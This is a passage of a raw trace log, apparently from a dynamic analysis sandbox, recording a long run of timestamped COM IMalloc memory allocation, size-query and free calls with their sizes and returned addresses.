(This=0x7ff9e7edf3f0, pv=0x2764b9db440) [0115.647] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb096a0 [0115.647] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb096a0) returned 0x8 [0115.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb096a0) [0115.648] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db520 [0115.648] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db520) returned 0x10 [0115.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db520) [0115.648] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb095c0 [0115.648] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb095c0) returned 0x8 [0115.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb095c0) [0115.648] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09350 [0115.648] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09350) returned 0x8 [0115.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09350) [0115.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09710 [0115.654] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09710) returned 0x8 [0115.655] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09710) [0115.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb096e0 [0115.655] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb096e0) returned 0x8 [0115.655] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb096e0) [0115.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09350 [0115.655] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09350) returned 0x8 [0115.655] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09350) [0115.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09630 [0115.655] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09630) returned 0x8 [0115.656] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09630) [0115.656] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb093c0 [0115.656] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb093c0) returned 0x8 [0115.656] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb093c0) [0115.656] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db120 [0115.656] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db120) returned 0x10 [0115.656] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db120) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dabc0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daa20) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daec0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dab60) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dab80) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daee0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daf20) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dada0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dab20) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daf40) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db380) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dab40) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9da900) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9da7a0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9daba0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9da7c0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db100) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db0a0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dabe0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9da840) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db0e0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b511200) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822db0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f13c0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1540) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8234b0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1750) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822e30) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1b40) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822ef0) [0115.657] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822ff0) [0115.658] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f16c0 [0115.658] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50f180 [0115.658] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db3a0 [0115.658] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db280 [0115.658] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db4c0 [0115.658] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db420 [0115.658] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db420) returned 0x10 [0115.659] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db420) [0115.659] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09560 [0115.659] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09560) returned 0x8 [0115.659] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09560) [0115.659] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb095d0 [0115.659] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb095d0) returned 0x8 [0115.660] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb095d0) [0115.660] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db3a0) [0115.660] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db280) [0115.660] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db4c0) [0115.660] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50f180) [0115.660] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f16c0) [0115.661] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db640 [0115.661] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db640) returned 0x18 [0115.662] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db640) [0115.662] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb096c0 [0115.662] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb096c0) returned 0x8 [0115.662] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb096c0) [0115.662] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb093b0 [0115.662] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb093b0) returned 0x8 [0115.662] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb093b0) [0115.662] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db2c0 [0115.663] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db2c0) returned 0x10 [0115.663] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db2c0) [0115.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1780 [0115.663] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f1780) returned 0x20 [0115.663] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1780) [0115.663] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8230b0 [0115.663] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8230b0) returned 0x30 [0115.664] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8230b0) [0115.664] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764556b840 [0115.664] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764556b840) returned 0x48 [0115.666] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764556b840) [0115.666] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db4e0 [0115.666] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db4e0) returned 0x10 [0115.667] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db4e0) [0115.667] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb093c0 [0115.667] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb093c0) returned 0x8 [0115.667] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb093c0) [0115.667] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb095a0 [0115.667] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb095a0) returned 0x8 [0115.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb095a0) [0115.668] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09350 [0115.668] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09350) returned 0x8 [0115.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09350) [0115.668] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09700 [0115.668] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09700) returned 0x8 [0115.668] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09700) [0115.668] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb096b0 [0115.668] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb096b0) returned 0x8 [0115.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb096b0) [0115.669] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09450 [0115.669] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09450) returned 0x8 [0115.669] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09450) [0115.669] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb093a0 [0115.669] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb093a0) returned 0x8 [0115.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb093a0) [0115.670] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09350 [0115.670] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09350) returned 0x8 [0115.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09350) [0115.670] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb096a0 [0115.670] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb096a0) returned 0x8 [0115.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb096a0) [0115.670] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb096e0 [0115.670] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb096e0) returned 0x8 [0115.670] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb096e0) [0115.671] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09570 [0115.671] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09570) returned 0x8 [0115.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09570) [0115.671] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb094d0 [0115.671] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb094d0) returned 0x8 [0115.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb094d0) [0115.671] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb094e0 [0115.671] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb094e0) returned 0x8 [0115.671] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb094e0) [0115.671] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb096b0 [0115.672] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb096b0) returned 0x8 [0115.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb096b0) [0115.672] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db3e0 [0115.672] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db3e0) returned 0x10 [0115.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db3e0) [0115.672] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09550 [0115.672] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09550) returned 0x8 [0115.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09550) [0115.674] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b822d70 [0115.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1bd0 [0115.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1c60 [0115.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b8234b0 [0115.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f1b40 [0115.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b8233f0 [0115.675] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f13c0 [0115.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f1570 [0115.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1c00 [0115.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1a80 [0115.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f1cc0 [0115.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f13f0 [0115.676] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1d80 [0115.677] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1d20 [0115.677] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b8236b0 [0115.677] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b822ef0 [0115.677] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f1d50 [0115.677] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764556b520 [0115.678] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b5105d0 [0115.678] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dafc0 [0115.678] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db4a0 [0115.678] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db520 [0115.678] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db300 [0115.678] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dafe0 [0115.678] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db000 [0115.678] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db2e0 [0115.678] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db100 [0115.678] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db6e0 [0115.678] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db740 [0115.679] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db120 [0115.679] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db220 [0115.679] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db720 [0115.679] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db320 [0115.679] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db760 [0115.680] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db5a0 [0115.680] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db460 [0115.680] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db340 [0115.680] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db020 [0115.683] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db5c0 [0115.683] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db540 [0115.683] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db0e0 [0115.683] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db040 [0115.683] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db0a0 [0115.683] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db3e0 [0115.683] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db6c0 [0115.683] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db3a0 [0115.683] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db3a0) returned 0x18 [0115.684] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db3a0) [0115.684] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09720 [0115.684] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09720) returned 0x8 [0115.684] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09720) [0115.684] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb094d0 [0115.684] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb094d0) returned 0x8 [0115.684] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb094d0) [0115.684] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db140 [0115.684] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db140) returned 0x10 [0115.684] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db140) [0115.684] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1de0 [0115.684] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f1de0) returned 0x20 [0115.685] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1de0) [0115.685] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b822db0 [0115.685] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b822db0) returned 0x30 [0115.685] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822db0) [0115.685] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764556b9d0 [0115.685] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764556b9d0) returned 0x48 [0115.692] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db140 [0115.692] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db140) returned 0x18 [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db020) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dafc0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db300) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db100) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db4a0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dafe0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db6e0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db520) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db000) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db760) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db6c0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db740) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db2e0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db5a0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db120) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db460) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db720) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db340) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db320) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db5c0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db0a0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db3e0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db540) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db0e0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db040) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db220) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b5105d0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822d70) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1bd0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1c60) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8234b0) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1b40) [0115.700] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8233f0) [0115.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f13c0) [0115.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1570) [0115.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1c00) [0115.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1a80) [0115.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1cc0) [0115.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f13f0) [0115.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1d80) [0115.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1d20) [0115.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8236b0) [0115.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822ef0) [0115.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1d50) [0115.701] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764556b520) [0115.701] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f14b0 [0115.701] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b822ff0 [0115.701] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b5105d0 [0115.701] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db6c0 [0115.701] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db4e0 [0115.701] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db420 [0115.702] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db360 [0115.702] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db000 [0115.702] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db000) returned 0x18 [0115.702] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09420 [0115.702] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09420) returned 0x8 [0115.703] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db6c0) [0115.703] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db4e0) [0115.703] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db420) [0115.703] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db360) [0115.703] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b5105d0) [0115.703] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f14b0) [0115.703] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b822ff0) [0115.703] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1a80 [0115.703] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f1a80) returned 0x20 [0115.707] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f13c0 [0115.707] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f13c0) returned 0x20 [0115.711] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db140 [0115.711] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9db140) returned 0x18 [0115.714] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b822db0 [0115.714] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1780 [0115.714] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1a20 [0115.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b823430 [0115.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f15d0 [0115.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b822d70 [0115.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1630 [0115.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f15a0 [0115.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9db300 [0115.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8234b0 [0115.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b822e30 [0115.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b511200 [0115.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db4e0 [0115.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db120 [0115.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db0a0 [0115.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9dafc0 [0115.716] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9db440 [0115.716] 